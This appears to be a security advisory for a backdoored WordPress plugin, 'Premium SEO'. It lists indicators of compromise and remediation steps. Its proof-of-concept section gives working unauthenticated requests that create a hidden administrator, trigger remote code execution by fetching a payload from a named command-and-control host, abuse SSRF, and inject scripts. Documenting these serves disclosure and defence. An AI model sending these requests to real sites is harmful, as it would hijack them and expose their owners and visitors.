Premium SEO – Unauthenticated Backdoor (Admin Creation / RCE / SSRF / Content Injection) | CVE 2026-14812

Description

The plugin is malicious: it ships an unauthenticated backdoor that creates a hidden administrator account and, in some builds, also enables remote code execution, server-side request forgery and arbitrary front-end script/content injection, giving an unauthenticated attacker full control of the affected site.

Indicators of compromise:
- Malicious plugin: wp-content/plugins/Premium-SEO/seo-automation.php (plugin header "Premium SEO", author "Web SEO Services"). This is not the legitimate, unrelated "Premium SEO Pack" plugin.
- Affected builds observed: 6.x, 30, 36, 37 and 38. Admin creation and content injection are present in all of them; the remote-code-execution, SSRF and phpinfo commands are present from build 6.x.
- Hidden administrator: user login prefixed "resource_desk_" with email wppremiumseoplugin@gmail.com.
- Command-and-control hosts: public.imagehosting.space and public1.imagehosting.space (beacon endpoint /feed/Article.php; RCE self-update payload /feed/seo-automation.inc).
- Options created on the site: head_scripts_seo, copyright_footer_links, seo_automation_owner_id, seo_automation_pages_id, seo_automation_status.

Remediation: remove the plugin and delete the planted administrator account (resource_desk_* / wppremiumseoplugin@gmail.com), then audit for injected doorway pages and head/footer scripts.

Proof of Concept

The dispatcher builds its trigger URIs from the first label of the site's domain (e.g. for `example.com` the label is `example`). Path form differs by version:

- v30 / v36 / v37 / v38: `/<label>/?Action=<command>`
- v6.2: `/<label>.php?Action=<command>`

### 1. Unauthenticated administrator creation (all versions)

    GET https://example.com/example/?Action=checkfiles

Response body: `FRL CheckFiles OK`. A new administrator now exists:
- user_login: `resource_desk_example`
- user_email: `wppremiumseoplugin@gmail.com`
- role: `administrator`

(The plugin first calls home to the C2 to confirm the domain is "live"; on success it runs `seo_automation_get_user()` → `wp_insert_user()` / `wp_update_user()` with `role => administrator`.)

### 2. Unauthenticated Remote Code Execution (v6.x)

    GET https://example.com/example.php?Action=update

Downloads `https://public1.imagehosting.space/feed/seo-automation.inc` and overwrites `wp-content/plugins/Premium-SEO/seo-automation.php` with the returned content → arbitrary PHP execution on the next request.

### 3. Unauthenticated SSRF (v6.2)

    GET https://example.com/example.php?Action=pr&p=<attacker_url>&r=<params>

`p` and `r` are passed into `seo_automation_SendXML()`, which issues a server-side HTTP request to `<attacker_url>` and echoes the response.

### 4. Information disclosure (v6.2)

    GET https://example.com/example.php?phpconfirm=1

Outputs `phpinfo()`.

### 5. Remote content / script injection (all versions)

    GET https://example.com/example/?Action=checkfiles

Pulls doorway pages and arbitrary `<head>`/`<footer>` HTML/JS from the C2 and stores them in options (`head_scripts_seo`, `copyright_footer_links`) that are echoed unescaped on the front end.